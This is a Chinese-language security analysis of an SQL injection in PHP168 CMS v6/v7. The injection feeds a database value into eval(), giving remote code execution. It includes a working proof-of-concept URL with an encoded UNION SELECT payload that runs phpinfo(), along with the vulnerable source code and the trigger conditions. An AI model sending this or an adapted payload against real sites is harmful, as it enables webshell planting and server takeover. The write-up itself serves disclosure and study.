PHP168 V6与V7版本鸡肋获取服务器Shell安全漏洞技术分析

最近在一次安全审计中发现一处SQL注入漏洞，与之前公开的某个漏洞属于同一类型，但利用条件更为严格——需要满足两个前提：网站需开启文章生成真静态功能，且允许用户注册成为会员。

以下为针对v6版本的漏洞验证代码，直接提交后将执行phpinfo()函数。v7版本原理完全相同，仅数据库字段数量有所差异：

member/list.php?step=2&Type=delete&aidDB[]=-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,15,6,7,8,9,10,1,2,3,4,25,6,7,8,9,10,1,2,3,4,35,6,7,8,9,10,1,2,3,4,45,6,7,8,9,10,1,2,3,4,0x7B247B706870696E666F28297D7D,6,7%23

0x01 漏洞关键点：make_more_article_html 函数

该漏洞的核心问题出现在此函数中，关键代码如下：

function make_more_article_html($comebackurl='/',$type='',$aidDB=''){
    global $db,$pre,$webdb,$webdb,$showHtml_Type;
    if($webdb[NewsMakeHtml]!=1||$aidDB=='')  // $webdb[NewsMakeHtml] 必须为真静态
    { return ;}
    ...
    $query = $db->query("SELECT A.*,B.bencandy_html,B.list_html,D.aid FROM {$pre}article_db D LEFT JOIN {$pre}article A ON D.aid=A.aid LEFT JOIN {$pre}sort B ON A.fid=B.fid WHERE D.aid IN ($string)");
    while($rs = $db->fetch_array($query)){
        ...
        $filename_b=$rs[bencandy_html];
        ...
        eval("\$showurl=\"$filename_b\";");
        ...
    }

漏洞的核心在于：$string 由 $aidDB 直接拼接至SQL查询语句，而 $aidDB 参数未经过任何安全过滤。更为严重的是，查询结果中的 bencandy_html 字段值随后被直接传入 eval() 执行——只要攻击者能在 $aidDB 中注入恶意数据，即可控制查询结果，进而通过 eval 执行任意PHP代码，实现远程代码执行。

0x02 触发入口：member/list.php

在 \member\list.php 文件中，当 step==2 且 Type=='delete' 时，该危险函数被直接调用：

if($step==2){
    ...
    if($Type=='delete'){
        make_more_article_html("$FROMURL","del_0",$aidDB);
    }
}

换言之，攻击者只需构造一个包含恶意 aidDB[] 参数的请求，同时网站满足真静态和允许注册两个条件，即可触发SQL注入。尽管利用门槛相对较高，但一旦成功获取webshell，将对网站造成毁灭性打击。